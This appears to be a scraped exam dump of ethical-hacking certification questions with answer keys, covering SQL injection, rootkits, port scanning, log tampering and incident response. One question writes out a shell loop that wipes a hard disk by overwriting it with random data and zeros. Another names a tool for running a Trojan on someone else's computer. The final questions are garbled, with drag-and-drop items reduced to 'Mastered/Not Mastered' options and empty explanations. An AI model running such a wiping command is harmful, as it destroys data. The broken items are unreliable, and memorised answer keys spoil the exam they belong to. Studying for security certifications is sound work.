John works as a professional Ethical Hacker. He is assigned a project to test the security of www.weare-secure.com. He enters a single quote in the input field of the login page of the We- are-secure Web site and receives the following error message:
Microsoft OLE DB Provider for ODBC Drivers error '0x80040E14'
This error message shows that the We-are-secure Website is vulnerable to __________.

A. A buffer overflow
B. A Denial-of-Service attack
C. A SQL injection attack
D. An XSS attack

**Answer:** C

**NEW QUESTION 271**
John is a malicious attacker. He illegally accesses the server of We-are-secure Inc. He then places a backdoor in the We-are-secure server and alters its log files. Which of the following steps of malicious hacking includes altering the server log files?

A. Maintaining access
B. Covering tracks
C. Gaining access
D. Reconnaissance

**Answer:** B

**NEW QUESTION 276**
Which of the following virus is a script that attaches itself to a file or template?

A. Boot sector
B. Trojan horse
C. Macro virus
D. E-mail virus

**Answer:** C

**NEW QUESTION 281**
Adam, a malicious hacker has successfully gained unauthorized access to the Linux system of Umbrella Inc. Web server of the company runs on Apache. He has downloaded sensitive documents and database files from the computer.
After performing these malicious tasks, Adam finally runs the following command on the Linux command box before disconnecting.
for (( i = 0;i<11;i++ )); do dd if=/dev/random of=/dev/hda && dd if=/dev/zero of=/dev/hda done
Which of the following actions does Adam want to perform by the above command?

A. Infecting the hard disk with polymorphic virus strings.
B. Deleting all log files present on the system.
C. Wiping the contents of the hard disk with zeros.
D. Making a bit stream copy of the entire hard disk for later download.

**Answer:** C

**NEW QUESTION 286**

Which of the following is an Internet mapping technique that relies on various BGP collectors that collect information such as routing updates and tables and provide this information publicly?

A. AS Route Inference
B. Path MTU discovery (PMTUD)
C. AS PATH Inference
D. Firewalking

**Answer:** C

**NEW QUESTION 291**
You want to connect to your friend's computer and run a Trojan on it. Which of the following tools will you use to accomplish the task?

A. PSExec
B. Remoxec
C. Hk.exe
D. GetAdmin.exe

**Answer:** A

**NEW QUESTION 293**
Which of the following rootkits adds additional code or replaces portions of an operating system, including both the kernel and associated device drivers?

A. Hypervisor rootkit
B. Boot loader rootkit
C. Kernel level rootkit
D. Library rootkit

**Answer:** C

**NEW QUESTION 294**
Which of the following types of scan does not open a full TCP connection?

A. FIN scan
B. ACK scan
C. Stealth scan
D. Idle scan

**Answer:** C

**NEW QUESTION 296**
Which of the following tools is used for port scanning?

A. NSLOOKUP
B. NETSH
C. Nmap
D. L0phtcrack

**Answer:** C

**NEW QUESTION 297**
Which of the following statements about threats are true?
Each correct answer represents a complete solution. Choose all that apply.

A. A threat is a weakness or lack of safeguard that can be exploited by vulnerability, thus causing harm to the information systems or networks.
B. A threat is a potential for violation of security which exists when there is a circumstance, capability, action, or event that could breach security and cause harm.
C. A threat is a sequence of circumstances and events that allows a human or other agent to cause an information-related misfortune by exploiting vulnerability in an IT product.
D. A threat is any circumstance or event with the potential of causing harm to a system in the form of destruction, disclosure, modification of data, or denial of service.

**Answer:** BCD

**NEW QUESTION 299**
Which of the following provides packet-level encryption between hosts in a LAN?

A. PPTP
B. IPsec
C. PFS
D. Tunneling protocol

**Answer:** B

**NEW QUESTION 304**
Which of the following attacks allows an attacker to retrieve crucial information from a Web server's database?

A. Database retrieval attack
B. PHP injection attack
C. SQL injection attack
D. Server data attack

**Answer:** C

**NEW QUESTION 308**
Which of the following techniques can be used to map 'open' or 'pass through' ports on a gateway?

A. Traceport
B. Tracefire
C. Tracegate
D. Traceroute

**Answer:** D

**NEW QUESTION 313**
Which of the following is used to gather information about a remote network protected by a firewall?

A. Warchalking
B. Wardialing
C. Firechalking
D. Firewalking

**Answer:** D

**NEW QUESTION 317**
Which of the following hacking tools provides shell access over ICMP?

A. John the Ripper
B. Nmap
C. Nessus
D. Loki

**Answer:** D

**NEW QUESTION 320**
Which of the following threats is a combination of worm, virus, and Trojan horse characteristics?

A. Spyware
B. Heuristic
C. Blended
D. Rootkits

**Answer:** C

**NEW QUESTION 325**
Which of the following applications automatically calculates cryptographic hashes of all key system files that are to be monitored for modifications?

A. Tripwire
B. TCPView
C. PrcView
D. Inzider

**Answer:** A

**NEW QUESTION 330**
Which of the following ensures that the investigation process of incident response team does not break any laws during the response to an incident?

A. Information Security representative
B. Lead Investigator
C. Legal representative
D. Human Resource

**Answer:** C

**NEW QUESTION 335**
Which of the following are used to identify who is responsible for responding to an incident?

A. Disaster management policies
B. Incident response manuals
C. Disaster management manuals
D. Incident response policies

**Answer:** D

**NEW QUESTION 336**
Which of the following applications is NOT used for passive OS fingerprinting?

A. Networkminer
B. Satori
C. p0f
D. Nmap

**Answer:** D

**NEW QUESTION 337**
Which of the following is a process of searching unauthorized modems?

A. Espionage
B. Wardialing
C. System auditing
D. Scavenging

**Answer:** B

**NEW QUESTION 339**
Which of the following protocol loggers is used to detect ping sweep?

A. lppi
B. pitl
C. dpsl
D. ippl

**Answer:** D

**NEW QUESTION 343**
Which of the following is the Web 2.0 programming methodology that is used to create Web pages that are dynamic and interactive?

A. UML
B. Ajax
C. RSS
D. XML

**Answer:** B

**NEW QUESTION 345**
Which of the following strategies allows a user to limit access according to unique hardware information supplied by a potential client?

A. Extensible Authentication Protocol (EAP)
B. WEP
C. MAC address filtering
D. Wireless Transport Layer Security (WTLS)

**Answer:** C

**NEW QUESTION 347**
OutGuess is used for __________ attack.

A. Steganography
B. Web password cracking
C. SQL injection
D. Man-in-the-middle

**Answer:** A

**NEW QUESTION 349**
Which of the following protocols uses only User Datagram Protocol (UDP)?

A. POP3
B. FTP
C. ICMP
D. TFTP

**Answer:** D

**NEW QUESTION 353**
Choose the correct six -step process of threat modeling from the list of different steps.

A. Mastered
B. Not Mastered

**Answer:** A

**Explanation:**

**NEW QUESTION 358**
Maria works as a professional Ethical Hacker. She recently got a project to test the security of www.we-are-secure.com. Arrange the three pre -test phases of the attack to test the security of weare-secure.

A. Mastered
B. Not Mastered

**Answer:** A

**Explanation:**

**NEW QUESTION 361**

Rick works as a Professional Ethical Hacker for Exambible Inc. The company has opened a new branch that uses Windows-based computers. Rick has been assigned a project to check the network security of the new branch office. He wants to ensure that the company is free from remote hacking attacks.
Choose the appropriate steps that Rick should perform to accomplish the task.

A. Mastered
B. Not Mastered

**Answer:** A

**Explanation:**

**NEW QUESTION 366**

......